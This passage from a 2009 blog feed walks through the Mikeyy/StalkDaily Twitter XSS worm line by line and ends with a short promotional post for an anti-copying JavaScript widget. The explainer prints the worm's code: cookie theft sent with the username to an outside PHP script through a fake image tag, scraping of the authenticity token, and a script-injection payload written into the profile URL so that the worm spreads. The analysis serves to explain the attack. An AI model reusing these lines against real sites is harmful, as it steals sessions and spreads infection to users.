<p>We see the regular expression put to work. The first line simply tells the computer to search through the content and find anything that matches the regular expression that was set up earlier. The second line takes the match (ie, the user name), and assigns it to a variable called &#8216;username&#8217;. The virus now knows who&#8217;s page it is attacking.</p>
<p>Next, the virus does some sneakiness. First, it tries to grab the cookies from the current document:</p>
<p>var cookie;<br />
cookie = urlencode(document.cookie);</p>
<p>Notice how it uses the urlencode function? That is the encoder we discussed earlier. Now, remember, the encoder was used to encode things that need to be transmitted. This is encoding the cookies that it finds. Obviously, it is going to transmit those cookies somewhere.</p>
<p>But where?  And how?</p>
<p>We find out in the next line:</p>
<p>document.write(&#8221;&lt;img src=&#8217;http://mikeyylolz.uuuq.com/x.php?c=&#8221; + cookie + &#8220;&amp;username=&#8221; + username + &#8220;&#8216;&gt;&#8221;);</p>
<p>Javascript has a lot of functions that allow a program to modify a web page. One of those functions is called &#8216;document.write&#8217;. The name does what it sounds like - it writes code to a web page.</p>
<p>In this case, what the virus is doing is writing an IMAGE to the web page. Or is it?  We see that there is an image tag there&#8230;</p>
<p>&lt;img src=&#8217;http://mikeyylolz.uuuq.com/x.php?c=&#8217;&gt;</p>
<p>But WAIT!  It is NOT pointing to an image file. Instead, it is pointing to a PHP script. Whats more, it is passing variables to the script in the query string. If we run the document.write function, this is what gets written to the browser:</p>
<p>&lt;img src=&#8217;http://mikeyylolz.uuuq.com/x.php?c=&#8221; + cookie + &#8220;&amp;username=&#8221; + username + &#8220;&#8216;&gt;</p>
<p>Let&#8217;s break that down some more. This is calling a PHP script called x.php:</p>
<p>http://mikeyylolz.uuuq.com/x.php</p>
<p>See the question mark in the image src? That question mark is called the &#8216;query string&#8217;. What it does is allow you to send variables - pieces of information - to a web page. In this case, there are two variables being sent:</p>
<p>c (the cookie)<br />
username (the username)</p>
<p>So, the virus is writing a fake image to the browser and using that to pass information that it stole from the HTML page using a regular expression to a PHP script. All in one line of code. Whew. Got that?</p>
<p>The virus is not done. Now, it creates a real image:</p>
<p>document.write(&#8221;&lt;img src=&#8217;http://stalkdaily.com/log.gif&#8217;&gt;&#8221;);</p>
<p>This gif will not only track all of the visitor IP&#8217;s, User Agents, and Referrers, it could also be used to&#8230; stuff cookies? Do other various and sundry bad things? At any rate, this is a tracking pixel that is being set so the attacker can run metrics on the attack.</p>
<p>Okay, so the virus has created a switch board, set up an encoding box, and used that to transmit all of the information needed for the attack. Time to attack.</p>
<p>The entire attack happens inside of a function called wait(). I will go through this function in a fairly detailed fashion. But, most of the hard stuff is already done. If you followed up to here, you can get through the rest.</p>
<p>*** The Attack Function ***</p>
<p>Here we go&#8230; the first lines should look familiar:</p>
<p>1 - var content = document.documentElement.innerHTML;<br />
2 - athreg = new RegExp(/twttr.form_authenticity_token = &#8216;(.*)&#8217;;/g);<br />
3 - var authtoken = authreg.exec(content);<br />
4 - authtoken = authtoken[1];</p>
<p>This is the same pattern that we saw before when the virus got the username. This time, the virus needs to get the authtoken. So, it starts out by getting the blueprint for the web page (1), then creating a regular expression that it can use to search through the web page (2), executing the regular expression (3) and then storing the result in a variable (4).</p>
<p>This is the same exact thing it did before.</p>
<p>This is kind of funny. There is a commented out line of code next:</p>
<p>//alert(authtoken);</p>
<p>This is how the attacker was debugging his code ;)  Alerts are for losres, hahaha, get a real debugger son!  Anyway, lets continue&#8230;</p>
<p>The next few lines of code generate a random update to tweet:</p>
<p>1 - var randomUpdate=new Array();<br />
2 - randomUpdate[0]=&#8221;Dude, www.StalkDaily.com is awesome. What&#8217;s the fuss?&#8221;;<br />
3 - randomUpdate[1]=&#8221;Join www.StalkDaily.com everyone!&#8221;;<br />
4 - randomUpdate[2]=&#8221;Woooo, www.StalkDaily.com :)&#8221;;<br />
5 - randomUpdate[3]=&#8221;Virus!? What? www.StalkDaily.com is legit!&#8221;;<br />
6 - randomUpdate[4]=&#8221;Wow&#8230;www.StalkDaily.com&#8221;;<br />
7 - randomUpdate[5]=&#8221;@twitter www.StalkDaily.com&#8221;;</p>
<p>8 - var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];<br />
9 - updateEncode = urlencode(genRand);</p>
<p>Line 1 creates a container that will hold the possible tweets. Lines 2-7 are the tweets themselves. Line 8 randomly picks a tweet from the container. And line 9 encodes the tweet so it can be sent to Twitter.</p>
<p>Now, for the viral load:</p>
<p>1 - var xss = urlencode(&#8217;http://www.stalkdaily.com&#8221;&gt;&lt;/a&gt;&lt;script src=&#8221;http://mikeyylolz.uuuq.com/x.js&#8221;&gt;&lt;/script&gt;&lt;a &#8216;);</p>
<p>This line encodes the exploit in a variable called xss. There is much sneakiness going on here. Let&#8217;s go slowly past it to see what happens.</p>
<p>A normal HTML link looks like this:</p>
<p>&lt;a href=&#8221;URL VALUE&#8221;&gt;LINK TEXT&lt;/a&gt;</p>
<p>It has three parts. First, it is wrapped in an anchor tag:  &lt;a&gt;&lt;/a&gt;</p>
<p>The anchor tag itself usually has an attribute called HREF. This is the URL that you go to when someone clicks the link. That looks like this:</p>
<p>&lt;a href=&#8221;http://your.url.com&#8221;&gt;&lt;/a&gt;</p>
<p>The last element is the link text. The link text is what people click on. So, when we see the HTML code for an anchor, we can see the three parts:</p>
<p>&lt;a href=&#8221;URL VALUE&#8221;&gt;LINK TEXT&lt;/a&gt;</p>
<p>Anchor tag, URL, and LINK TEXT. Got it?</p>
<p>Okay. Now, sometimes, programs will insert values for the URL and Link text for you. And, they will do this automatically. To do that, they will just switch the values for the URL and the LINK TEXT. And, to make that easy, they usually have a template, like this:</p>
<p>&lt;a href=&#8221;#URL#&#8221;&gt;#LINK NAME#&lt;/a&gt;</p>
<p>When the computer sees that template, it says, &#8220;I need to replace the #URL# value with a real url, and I need to replace the #LINK# value with a real link name. Suppose that the url was</p>
<p>http://www.robhustle.com</p>
<p>and the link name was</p>
<p>gxd5</p>
<p>Then, this:</p>
<p>&lt;a href=&#8221;#URL#&#8221;&gt;#LINK NAME#&lt;/a&gt;</p>
<p>Would become this:</p>
<p>&lt;a href=&#8221;http://www.robhustle.com&#8221;&gt;gxd5&lt;/a&gt;</p>
<p>Got it?  Okay, now for the attack.  Suppose that instead of using &#8216;http://www.robhustle.com&#8217; for the #URL# value, we used the XSS value that the virus uses. Just so you remember, it is this:</p>
<p>http://www.stalkdaily.com&#8221;&gt;&lt;/a&gt;&lt;script src=&#8221;http://mikeyylolz.uuuq.com/x.js&#8221;&gt;&lt;/script&gt;&lt;a</p>
<p>Now, this is the way the code would look:</p>
<p>&lt;a href=&#8221;http://www.stalkdaily.com&#8221;&gt;&lt;/a&gt;&lt;script src=&#8221;http://mikeyylolz.uuuq.com/x.js&#8221;&gt;&lt;/script&gt;&lt;a &#8220;&#8221;&gt;gxd5&lt;/a&gt;</p>
<p>Do you see what they did?</p>
<p>They closed the original anchor tag!  Then, they inserted a script tag that downloads the virus code onto the browser that is currently watching the page!  This is how YOU get infected when you look at an infected page.</p>
<p>The virus payload downloads onto your computer as soon as you look at the page.</p>
<p>BUT&#8230; you HAVE to be logged in to twitter for this to work. Fortunately for the virus, since it is a twitter based virus, most of you already are logged in. So, the exploit works.</p>
<p>Now that the code is there, what will it do?</p>
<p>1 - var ajaxConn = new XHConn();<br />
2 - ajaxConn.connect(&#8221;/status/update&#8221;, &#8220;POST&#8221;, &#8220;authenticity_token=&#8221;+authtoken+&#8221;&amp;status=&#8221;+updateEncode+&#8221;&amp;tab=home&amp;update=update&#8221;);</p>
<p>Line 1 - Remember XHConn?  That is the switchboard. The virus is getting ready to send a command to the server.</p>
<p>Line 2 - The command gets sent. It is &#8217;status/update&#8217;&#8230; this is how a tweet gets sent. Notice that it is using the authotken it grabbed and the randomly generated and encoded status that it pulled. This is where that information finally gets used.</p>
<p>3 - var ajaxConn1 = new XHConn();<br />
4 - ajaxConn1.connect(&#8221;/account/settings&#8221;, &#8220;POST&#8221;, &#8220;authenticity_token=&#8221;+authtoken+&#8221;&amp;user[url]=&#8221;+xss+&#8221;&amp;tab=home&amp;update=update&#8221;);</p>
<p>Line 3 - Another connection is created.<br />
Line 4 - This is the core of the virus reproduction. This changes your &#8216;account/settings&#8217; user url, and changes it to the exploit url above. Instead of:</p>
<p>&lt;a href=&#8221;http://www.robhustle.com&#8221;&gt;gxd5&lt;/a&gt;</p>
<p>You would have something like this:</p>
<p>&lt;a href=&#8221;http://www.stalkdaily.com&#8221;&gt;&lt;/a&gt;&lt;script src=&#8221;http://mikeyylolz.uuuq.com/x.js&#8221;&gt;&lt;/script&gt;&lt;a &#8220;&#8221;&gt;gxd5&lt;/a&gt;</p>
<p>And that would infect everyone who looked at your profile.</p>
<p>The final line of code is here:</p>
<p>setTimeout(&#8221;wait()&#8221;,3250);</p>
<p>This is the ticking time bomb. That code sets a timer that will wait 3,250 milliseconds before executing the code in the wait() function and letting the virus loose.</p>
<p>Variants of this virus are already springing up, but they are all using similar vectors. You would have thought that Twitter would have plugged ALL the holes the first go round. But, maybe they didn&#8217;t understand how the virus worked.</p>
<p>Hopefully, they have accounts here  <img src='http://www.robhustle.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I wasn&#8217;t planning to write a post THIS long, but things like this are interesting to me, and I hope that this was entertaining and informative for you as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/13/mikeyy-twitter-worm-in-plain-english/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Javascript Hand Grenade</title>
		<link>http://www.robhustle.com/2009/04/12/the-javascript-hand-grenade/</link>
		<comments>http://www.robhustle.com/2009/04/12/the-javascript-hand-grenade/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 07:01:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Lab]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=39</guid>
		<description><![CDATA[<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/O0yIXP8MZ-I&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/O0yIXP8MZ-I&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>

Are you tired of people ripping off your landing pages? Do you want to stop code thieves from stealing your content? You need...

<a href="http://grenade.widgetropolis.com"><font size="4" color="green">THE JAVASCRIPT HAND GRENADE</font></a>

Don't sit back and let people just rip you off. FRAG THOSE FOOLS!]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/O0yIXP8MZ-I&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/O0yIXP8MZ-I&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Are you tired of people ripping off your landing pages? Do you want to stop code thieves from stealing your content? You need&#8230;</p>
<p><a href="http://grenade.widgetropolis.com"><font size="4" color="green">THE JAVASCRIPT HAND GRENADE</font></a></p>
<p>Don&#8217;t sit back and let people just rip you off. FRAG THOSE FOOLS!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/12/the-javascript-hand-grenade/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
